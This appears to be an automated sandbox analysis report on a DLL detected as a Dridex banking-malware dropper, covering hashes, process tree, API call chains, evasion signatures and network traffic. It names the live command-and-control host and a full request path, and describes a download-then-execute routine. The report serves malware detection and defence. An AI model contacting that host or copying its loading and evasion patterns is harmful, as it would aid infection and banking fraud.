Edit tour

Windows Analysis Report
e.dll

Overview

General Information

Sample name:	e.dll
Analysis ID:	1523389
MD5:	972d3e17b96745be89b80ec5d8f4f9d3
SHA1:	e97c6461bbdcd91566f4cb75b456e399b7fe06c2
SHA256:	b116511e3960ab5fa53ad6a3243240be11235ebdc323705827713cf12a9aeeda
Infos:

Detection

Dridex Dropper

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Dridex dropper found

Found detection on Joe Sandbox Cloud Basic

System process connects to network (likely due to code injection or exploit)

Machine Learning detection for sample

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found decision node followed by non-executed suspicious APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains more sections than normal

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

loaddll32.exe (PID: 2788 cmdline: loaddll32.exe "C:\Users\user\Desktop\e.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 5060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2460 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\e.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 856 cmdline: rundll32.exe "C:\Users\user\Desktop\e.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: e.dll

Avira: detected

Machine Learning detection for sample

Source: e.dll

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_27AC1120 GetTickCount,SHGetValueA,SHSetValueA,UuidCreateSequential,sprintf,RtlComputeCrc32,GlobalAlloc,sprintf,RtlComputeCrc32,sprintf,RtlComputeCrc32,sprintf,GetModuleFileNameA,sprintf,GetCommandLineA,sprintf,memset,CryptBinaryToStringA,sprintf,memset,EnumDisplaySettingsA,sprintf,memcpy,memcpy,memset,GlobalFree,CryptAcquireContextA,CryptDecodeObjectEx,CryptImportPublicKeyInfo,CryptEncrypt,CryptBinaryToStringA,memset,GlobalFree,URLDownloadToCacheFileA,lstrlen,memset,GlobalFree,_lopen,_hread,_lclose,WinExec,GlobalFree,

3_2_27AC1120

Source: e.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown

HTTPS traffic detected: 104.21.69.9:443 -> 192.168.11.20:49768 version: TLS 1.2

Source:	Binary string: a:\s7i.pdbL source: e.dll
Source:	Binary string: a:\s7i.pdb source: loaddll32.exe, 00000000.00000002.89094776577.000000000040F000.00000002.00000001.01000000.00000003.sdmp, e.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_3_06982A81 FindFirstFileW,

3_3_06982A81

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 104.21.69.9 443

Jump to behavior

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /S2wueuBWcKItxJBxaKQWGAqL7hMS3sfSm3IIJcJI-UnDuhqZF3FZYmhcdfYjgTH9ls8toERqLL6uvqWxks5TXG7p4KTZE3NtE0QUExXonRRsVxuWAUUUBfY4OBn0j6WOD9WysDP09mb9Mw2zw25E4216qfUiBb1_-f0hXmBwm-5V3zs05mClVySIs4Q2owQXkeB3urgLrouGFuJF9ZudjP54bzXceldzNx2o8pCLFM6WK1vNqyQJ4ZGEs5wabg119exWDBy_U0fDfIKkmquk4nx095rTVG61p-61BBPfkxzOTkQYmZHX6uOiApQ41hZ0OE5yH5VhrRws_4Dk7blD-zRqQGci0UruB3OYd7fIEanuxbGDB6PoPMh8nJxhyUjELjSu3EwICQdnYkBbiVs2LkVCWKmmn2lIaQTzB-OoNpw-dg1CW7D5qiS6SoaepRg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: w0t.lolConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_27AC1120

Source: global traffic

DNS traffic detected: DNS query: w0t.lol

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Oct 2024 13:14:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateCF-Cache-Status: DYNAMICSpeculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8cbcb62419383343-MIA

Source: rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: rundll32.exe, 00000003.00000003.84857412676.00000000033AF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973750078.00000000033B0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857294274.000000000339C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: rundll32.exe, 00000003.00000002.84973852233.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.84857080785.00000000033CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: rundll32.exe, 00000003.00000003.84857294274.000000000339C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w0t.lol/
Source: rundll32.exe, 00000003.00000002.84973505391.0000000003352000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w0t.lol/S2wueuBWcKItxJBxaKQWGAqL7hMS3sfSm3IIJcJI-UnDuhqZF3FZYmhcdfYjgTH9ls8toERqLL6uvqWxks5T
Source: rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w0t.lol/T
Source: rundll32.exe, 00000003.00000003.84857294274.000000000339C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.84973703050.000000000339D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w0t.lol/v

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768

Source: unknown

HTTPS traffic detected: 104.21.69.9:443 -> 192.168.11.20:49768 version: TLS 1.2

E-Banking Fraud

Dridex dropper found

Source: Initial file

Signature Results: Dridex dropper behavior

System Summary

Found detection on Joe Sandbox Cloud Basic

Source: e.dll

Joe Sandbox Cloud Basic: Detection: malicious Score: 80 Threat Name: Dridex Dropper Analyzer: w10x64native

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 6%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06966790 NtQueryDirectoryObject,	3_3_06966790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696D969 NtQuerySystemInformation,	3_3_0696D969
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B2084 NtCreateThreadEx,	3_2_051B2084

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_3_0695D53D: DeviceIoControl,

3_3_0695D53D

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0533E58D	3_3_0533E58D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0683112C	3_3_0683112C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_068318AC	3_3_068318AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06835AF1	3_3_06835AF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06833334	3_3_06833334
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_068349DC	3_3_068349DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06832F7C	3_3_06832F7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0683371C	3_3_0683371C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06931290	3_3_06931290
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695D090	3_3_0695D090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06966790	3_3_06966790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06962790	3_3_06962790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06982C90	3_3_06982C90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695D780	3_3_0695D780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06982A81	3_3_06982A81
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06966CBB	3_3_06966CBB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696C3A0	3_3_0696C3A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06968DA0	3_3_06968DA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696A5D6	3_3_0696A5D6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06932BD6	3_3_06932BD6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696CFC0	3_3_0696CFC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696F1F3	3_3_0696F1F3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069689F0	3_3_069689F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069712F0	3_3_069712F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069852F2	3_3_069852F2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696E3E0	3_3_0696E3E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696C5E0	3_3_0696C5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06960EE0	3_3_06960EE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06984F10	3_3_06984F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06970206	3_3_06970206
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696CD00	3_3_0696CD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06983C00	3_3_06983C00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696BB30	3_3_0696BB30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695D53D	3_3_0695D53D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06962625	3_3_06962625
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06962220	3_3_06962220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06987F59	3_3_06987F59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06961370	3_3_06961370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696DB70	3_3_0696DB70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696CB60	3_3_0696CB60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06982360	3_3_06982360
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06984C60	3_3_06984C60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696D969	3_3_0696D969
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06985990	3_3_06985990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0693338A	3_3_0693338A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06935489	3_3_06935489
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0693308E	3_3_0693308E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0693408E	3_3_0693408E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069335BB	3_3_069335BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695CDD0	3_3_0695CDD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696A7D0	3_3_0696A7D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069333D5	3_3_069333D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069709D0	3_3_069709D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069336DC	3_3_069336DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06932DC0	3_3_06932DC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696D4C0	3_3_0696D4C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06971DC0	3_3_06971DC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069330CB	3_3_069330CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069332CE	3_3_069332CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069855F0	3_3_069855F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06932DFE	3_3_06932DFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069821E0	3_3_069821E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06946014	3_3_06946014
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933611	3_3_06933611
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06968510	3_3_06968510
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06962D10	3_3_06962D10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06971110	3_3_06971110
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06931000	3_3_06931000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933106	3_3_06933106
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06970400	3_3_06970400
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696FE30	3_3_0696FE30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06987830	3_3_06987830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933322	3_3_06933322
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933028	3_3_06933028
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695E450	3_3_0695E450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0695E850	3_3_0695E850
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933055	3_3_06933055
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06985F50	3_3_06985F50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933358	3_3_06933358
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696C142	3_3_0696C142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06968640	3_3_06968640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696FB40	3_3_0696FB40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06982640	3_3_06982640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06932E4E	3_3_06932E4E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696DE70	3_3_0696DE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0693327A	3_3_0693327A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0696A160	3_3_0696A160
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06933665	3_3_06933665
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_06970C60	3_3_06970C60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_05091680	3_2_05091680
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_050922A8	3_2_050922A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_05091EAF	3_2_05091EAF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_05091698	3_2_05091698
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_05094094	3_2_05094094
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0509252C	3_2_0509252C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_05094458	3_2_05094458
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_050945E8	3_2_050945E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051BA900	3_2_051BA900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B163D	3_2_051B163D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051BA660	3_2_051BA660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B2084	3_2_051B2084
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B22A0	3_2_051B22A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B71D2	3_2_051B71D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B7410	3_2_051B7410
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_051B1240	3_2_051B1240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_27AC1120	3_2_27AC1120

Source: e.dll

Static PE information: Number of sections : 13 > 10

Source: e.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: e.dll	Static PE information: Section: z4g ZLIB complexity 0.9946666190294715
Source: e.dll	Static PE information: Section: qm ZLIB complexity 0.9991314643252213
Source: e.dll	Static PE information: Section: L ZLIB complexity 0.9966262291217672

Source: classification engine

Classification label: mal72.bank.evad.winDLL@6/0@1/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:304:WilStaging_02

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\e.dll",#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\e.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\e.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\e.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\e.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\e.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: z55x9i2q7.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security

Jump to behavior

Source: e.dll

Static file information: File size 2228224 > 1048576

Source: e.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: a:\s7i.pdbL source: e.dll
Source:	Binary string: a:\s7i.pdb source: loaddll32.exe, 00000000.00000002.89094776577.000000000040F000.00000002.00000001.01000000.00000003.sdmp, e.dll

Source: e.dll	Static PE information: section name: .crt1
Source: e.dll	Static PE information: section name: z4g
Source: e.dll	Static PE information: section name: qm
Source: e.dll	Static PE information: section name: L
Source: e.dll	Static PE information: section name: CONST
Source: e.dll	Static PE information: section name: 3
Source: e.dll	Static PE information: section name: buicKDZl
Source: e.dll	Static PE information: section name: CRT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0060996B pushfd ; ret	0_2_0060997B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00570E37 push eax; retf	0_2_00570E3E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0060D1F4 push edi; ret	0_2_0060D1F5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_006099DB pushfd ; iretd	0_2_006099DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_0533D5C8 push ebp; retf	3_3_0533D5C9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_3_069825F0 push esi; mov dword ptr [esp], ecx	3_3_069825F4

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\TeSTAPp.EXE	Jump to behavior
